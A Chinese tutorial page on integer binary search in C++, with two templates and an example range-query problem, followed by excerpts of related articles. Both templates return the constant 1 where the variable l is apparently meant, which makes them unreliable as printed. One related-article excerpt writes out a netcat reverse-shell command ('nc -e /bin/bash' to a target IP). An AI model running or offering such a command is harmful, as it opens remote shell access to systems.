当前位置: 首页 > news >正文

二分算法(c++版)

二分的本质是什么?

很多人会认为单调性是二分的本质,但其实其本质并非单调性,只是说,有单调性的可以进行二分,但是有些题目没有单调性我们也可以进行二分。其本质其实是一个边界问题,给定一个条件,在我们的区间中,有一部分满足这个条件,有一部分不满足这个条件,要求满足和不满足的边界值,这个时候我们便可以使用二分来解决这个问题。

整数二分:

基本步骤:

1.先找到中间值mid

2.先判断mid是否满足性质(check(mid))

3.若满足则缩小区间到[mid,r],l=mid,不满足则反之

4.更新边界

区间前半部分边界点(借用一下y总的画的图,也就是红色区间的边界点)

二分步骤:

1.先找到中间值mid=(l+r+1)/2

2.先判断mid是否满足红色区间的性质(check(mid))

3.若满足则缩小区间到[mid,r],若不满足则[l,mid-1](r=mid-1)

为什么要+1?

讲讲这里mid为什么要额外+1,因为 当l=r-1的时候,因为除以二向下取整mid的值为l,如果check(mid)成功返回true则mid的值还是l并不会发生改变会造成死循环,所以我们在后面+1,遇到这种情况发生时,mid就变成了r,避免了死循环的发生

模板如下:

int bsearch_1(int l,int r){while(l<r){int mid=l+r+1>>1;if(check(mid)) l=mid;else r=mid-1;}return 1;
}

 

区间后半部分边界点(也就是上图的绿色边界点)

 二分步骤:

1.先找到中间值mid=(l+r)/2

2.先判断mid是否满足绿色区间的性质(check(mid))

3.若满足则缩小区间到[l,mid],若不满足则[mid+1,r](l=mid+1)

模板如下:

int bserch_2(int l,int r){while(l<r){int mid=l+r>>1;if(check(mid)) r=mid;else l=mid+1;}return 1;
}

这里以一个例题来解释一下用法:

例题:

给定一个按照升序排列的长度为 n 的整数数组,以及 q个查询。

对于每个查询,返回一个元素 k 的起始位置和终止位置(位置从 0 开始计数)。

如果数组中不存在该元素,则返回 -1

输入格式

第一行包含整数 n 和 q,表示数组长度和询问个数。

第二行包含 n个整数(均在 1∼10000 范围内),表示完整数组。

接下来 q行,每行包含一个整数 k,表示一个询问元素。

输出格式

共 q行,每行包含两个整数,表示所求元素的起始位置和终止位置。

如果数组中不存在该元素,则返回 -1

数据范围

1≤n≤100000
1≤q≤10000
1≤k≤10000

输入样例:
6 3
1 2 2 3 3 4
3
4
5
输出样例:
3 4
5 5
-1 -1

 

相关文章:

二分算法(c++版)

二分的本质是什么&#xff1f; 很多人会认为单调性是二分的本质&#xff0c;但其实其本质并非单调性&#xff0c;只是说&#xff0c;有单调性的可以进行二分&#xff0c;但是有些题目没有单调性我们也可以进行二分。其本质其实是一个边界问题&#xff0c;给定一个条件&#xf…...

【C#】用于基于 UV DLP 的 3D 打印机的切片软件源码解析(一)DLP原理 GUI

0. 原理 基于 UV DLP 的 3D 打印机的工作原理是这样的&#xff1a; UV DLP 是一种使用数字光处理&#xff08;Digital Light Processing&#xff09;技术的 3D 打印方法&#xff0c;它利用紫外光&#xff08;UV&#xff09;来固化液态树脂&#xff0c;从而形成实体物体。UV DLP…...

Javase补充-Arrays类的常用方法汇总

文章目录 一 . 排序方法二 . 查找方法三 . 判断是否相等的方法四 . 拷贝方法五 . 填充方法 一 . 排序方法 我们第一个要介绍的就是sort方法 这个排序实现的底层逻辑应该是十分复杂的,以我们目前的水平体系应该无法理解,我们今天尝试用我们可以理解的一种排序算法,插入排序来模…...

微信小程序-人脸检测-眨眼驱动ESP32蓝牙设备灯

前面2篇文章已经写了具体的人脸检测和蓝牙 这里直接结合&#xff0c;只列js 代码&#xff0c;剩下的其他代码在另外文章里面 https://blog.csdn.net/walle167/article/details/136261993 https://blog.csdn.net/walle167/article/details/136261919 上代码 import bleBehavior …...

怎么在wifi中实现手机和电脑文件互传

有时我们想手机电脑文件互传&#xff0c;数据线却不在身边&#xff0c;这时我们可以用MiXplorer来实现wifi中手机和电脑互相访问文件。 MiXplorer是一款来自著名安卓开发者论坛XDA的作品&#xff0c;免费且功能强大&#xff0c;被很多人誉为是“全能文件管理器”。 1.在手机上…...

07 STL 简介

目录 什么是STLSTL的版本STL的六大组件STL的重要性如何学习STLSTL的缺陷 1. 什么是STL c标准库的重要组成部分&#xff0c;不仅是一个可复用的组件库&#xff0c;而且是一个包罗数据结构和算法的软件框架 2. STL的版本 原始版本 Alexander Stepanov、Meng Lee在惠普实验室的…...

unity学习(39)——创建(create)角色脚本(panel)——静态(static)

1.发现一个非常实用的功能&#xff0c;点击unity中console的输出项&#xff0c;可以直接跳转到vs的代码页&#xff01; 2.static类&#xff08;变量&#xff09;有三个特点&#xff1a; &#xff08;1&#xff09;独一份&#xff08;2&#xff09;无法实例化。&#xff08;3&…...

MacOS环境下用powerline配置Terminal终端

Powerline 简介及安装配置 Powerline 是一个 stateless 状态栏&#xff0c;也就是一个全局状态/提示栏。你可以将其配置到你的 bash、Terminal、iTerm2 或 VIM 中&#xff0c;效果会如下所示&#xff1a; 你的 Mac 终端提示栏将会呈现如下图所示&#xff1a; 你的 VIM 状态…...

liunx单机项目部署

文章目录 1.liunx简介2.liunx的jdk安装2.liunx的tomcat安装3.liunx的mysql安装4.单机项目部署 1.liunx简介 Linux&#xff0c;一般指GNU/Linux&#xff08;单独的Linux内核并不可直接使用&#xff0c;一般搭配GNU套件&#xff0c;故得此称呼&#xff09;&#xff0c;是一种免费…...

SQL 中如何实现多表关联查询?

阅读本文之前请参阅----MySQL 数据库安装教程详解&#xff08;linux系统和windows系统&#xff09; 在SQL中&#xff0c;多表关联查询是通过使用JOIN操作来实现的&#xff0c;它允许你从两个或多个表中根据相关列的值来检索数据。以下是几种常见的JOIN类型&#xff1a; …...

oracle 设置权限 禁止删除用户

在Oracle中&#xff0c;可以通过修改系统角色来控制用户的操作权限。要禁止删除用户&#xff0c;需要将DROP USER这个特定的系统权限从相应的角色中移除。 下面是一种常见的方法&#xff0c;使用SQL语句进行操作&#xff1a; -- 创建新的角色&#xff0c;并为其分配所有必要的…...

港科夜闻|香港科大计划建立北部都会区卫星校园完善科大创新带,发展未来创新科技 未来医药发展及跨学科教育...

关注并星标 每周阅读港科夜闻 建立新视野 开启新思维 1、香港科大计划建立北部都会区卫星校园完善“科大创新带”&#xff0c;发展未来创新科技、未来医药发展及跨学科教育。香港科大校长叶玉如教授在2月22日的媒体会议上表示&#xff0c;香港科大将在北部都会区建立卫星校园&a…...

linux反弹shell简单使用

一、反弹shell&#xff08;NC正向反弹&#xff09; 1、靶机开启监听端口 格式&#xff1a; nc -lvvp [任意未占用的端口号] 例&#xff1a; nc -lvvp [8080] 2、攻击机将shell弹到靶机上 格式&#xff1a; nc -e /bin/bash [靶机ip] [靶机监听端口] 例&#xff1a; nc -e /bin…...

前后端分离Vue+nodejs校园论坛bbs系统x450z

开发语言 node.js 框架&#xff1a;Express 前端:Vue.js 数据库&#xff1a;mysql 数据库工具&#xff1a;Navicat 开发软件&#xff1a;VScode本论文拟采用计算机技术设计并开发的论坛bbs系统&#xff0c;主要是为用户提供服务。使得用户可以在系统上查看帖子信息、签到积分等…...

ChatGPT的能力边界在哪?

ChatGPT在今天被热炒&#xff0c;主要的原因不是因为它能和人聊天&#xff0c;或者能帮助人做作业。其实做作业这件事它做得并不好&#xff0c;虽然有些中学和大学的问题它能够解决&#xff0c;但是对于绝大部分问题&#xff0c;它给出的答案都是车轱辘话。 那ChatGPT被热炒的…...

Sentinel微服务流量治理组件实战下

目录 Sentinel控制台介绍 实时监控 簇点链路 流控规则 限流阈值类型 流控模式 流控效果 熔断降级规则 熔断策略之慢调用比例 熔断策略之异常比例 熔断策略之异常数 热点规则 系统规则——系统自适应保护 系统规则阈值类型 授权控制规则——来源访问控制&#xf…...

vue+node.js美食分享推荐管理系统 io551

&#xff0c;本系统采用了 MySQL数据库的架构&#xff0c;在开始这项工作前&#xff0c;首先要设计好要用到的数据库表。该系统的使用者有二类&#xff1a;管理员和用户&#xff0c;主要功能包括个人信息修改&#xff0c;用户、美食类型、美食信息、订单信息、美食分享、课程大…...

云原生超融合八大核心能力|ZStack Edge云原生超融合产品技术解读

企业数字化转型的焦点正在发生变化&#xff0c;云基础设施由资源到应用&#xff0c;数据中心从核心到边缘。面向云原生趋势&#xff0c;围绕应用升级&#xff0c;新一代超融合产品——云原生超融合应运而生。 ZStackEdge云原生超融合是基于云原生架构研发的新一代IT基础设施 …...

认识K8S

K8S K8S 的全称为 Kubernetes (K12345678S) 是一个跨主机容器编排工具 作用 用于自动部署、扩展和管理“容器化&#xff08;containerized&#xff09;应用程序”的开源系统。 可以理解成 K8S 是负责自动化运维管理多个容器化程序&#xff08;比如 Docker&#xff09;的集群…...

K8S-001-Virtual box - Network Config

A. 配置两个IP&#xff0c; 一个连接内网&#xff0c;一个链接外网: 1. 内网配置(Host only&#xff0c; 不同的 virutal box 的版本可以不一样&#xff0c;这些窗口可能在不同的地方&#xff0c;但是配置的内容是一样的): 静态IP 动态IP 2. 外网&#xff08;创建一个 Networ…...

HTML 语义化

目录 HTML 语义化HTML5 新特性HTML 语义化的好处语义化标签的使用场景最佳实践 HTML 语义化 HTML5 新特性 标准答案&#xff1a; 语义化标签&#xff1a; <header>&#xff1a;页头<nav>&#xff1a;导航<main>&#xff1a;主要内容<article>&#x…...

CMake基础:构建流程详解

目录 1.CMake构建过程的基本流程 2.CMake构建的具体步骤 2.1.创建构建目录 2.2.使用 CMake 生成构建文件 2.3.编译和构建 2.4.清理构建文件 2.5.重新配置和构建 3.跨平台构建示例 4.工具链与交叉编译 5.CMake构建后的项目结构解析 5.1.CMake构建后的目录结构 5.2.构…...

关于nvm与node.js

1 安装nvm 安装过程中手动修改 nvm的安装路径&#xff0c; 以及修改 通过nvm安装node后正在使用的node的存放目录【这句话可能难以理解&#xff0c;但接着往下看你就了然了】 2 修改nvm中settings.txt文件配置 nvm安装成功后&#xff0c;通常在该文件中会出现以下配置&…...

江苏艾立泰跨国资源接力:废料变黄金的绿色供应链革命

在华东塑料包装行业面临限塑令深度调整的背景下&#xff0c;江苏艾立泰以一场跨国资源接力的创新实践&#xff0c;重新定义了绿色供应链的边界。 跨国回收网络&#xff1a;废料变黄金的全球棋局 艾立泰在欧洲、东南亚建立再生塑料回收点&#xff0c;将海外废弃包装箱通过标准…...

Java多线程实现之Callable接口深度解析

Java多线程实现之Callable接口深度解析 一、Callable接口概述1.1 接口定义1.2 与Runnable接口的对比1.3 Future接口与FutureTask类 二、Callable接口的基本使用方法2.1 传统方式实现Callable接口2.2 使用Lambda表达式简化Callable实现2.3 使用FutureTask类执行Callable任务 三、…...

基于数字孪生的水厂可视化平台建设:架构与实践

分享大纲&#xff1a; 1、数字孪生水厂可视化平台建设背景 2、数字孪生水厂可视化平台建设架构 3、数字孪生水厂可视化平台建设成效 近几年&#xff0c;数字孪生水厂的建设开展的如火如荼。作为提升水厂管理效率、优化资源的调度手段&#xff0c;基于数字孪生的水厂可视化平台的…...

[10-3]软件I2C读写MPU6050 江协科技学习笔记(16个知识点)

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16...

JUC笔记(上)-复习 涉及死锁 volatile synchronized CAS 原子操作

一、上下文切换 即使单核CPU也可以进行多线程执行代码&#xff0c;CPU会给每个线程分配CPU时间片来实现这个机制。时间片非常短&#xff0c;所以CPU会不断地切换线程执行&#xff0c;从而让我们感觉多个线程是同时执行的。时间片一般是十几毫秒(ms)。通过时间片分配算法执行。…...

CRMEB 中 PHP 短信扩展开发:涵盖一号通、阿里云、腾讯云、创蓝

目前已有一号通短信、阿里云短信、腾讯云短信扩展 扩展入口文件 文件目录 crmeb\services\sms\Sms.php 默认驱动类型为&#xff1a;一号通 namespace crmeb\services\sms;use crmeb\basic\BaseManager; use crmeb\services\AccessTokenServeService; use crmeb\services\sms\…...

uniapp 开发ios, xcode 提交app store connect 和 testflight内测

uniapp 中配置 配置manifest 文档&#xff1a;manifest.json 应用配置 | uni-app官网 hbuilderx中本地打包 下载IOS最新SDK 开发环境 | uni小程序SDK hbulderx 版本号&#xff1a;4.66 对应的sdk版本 4.66 两者必须一致 本地打包的资源导入到SDK 导入资源 | uni小程序SDK …...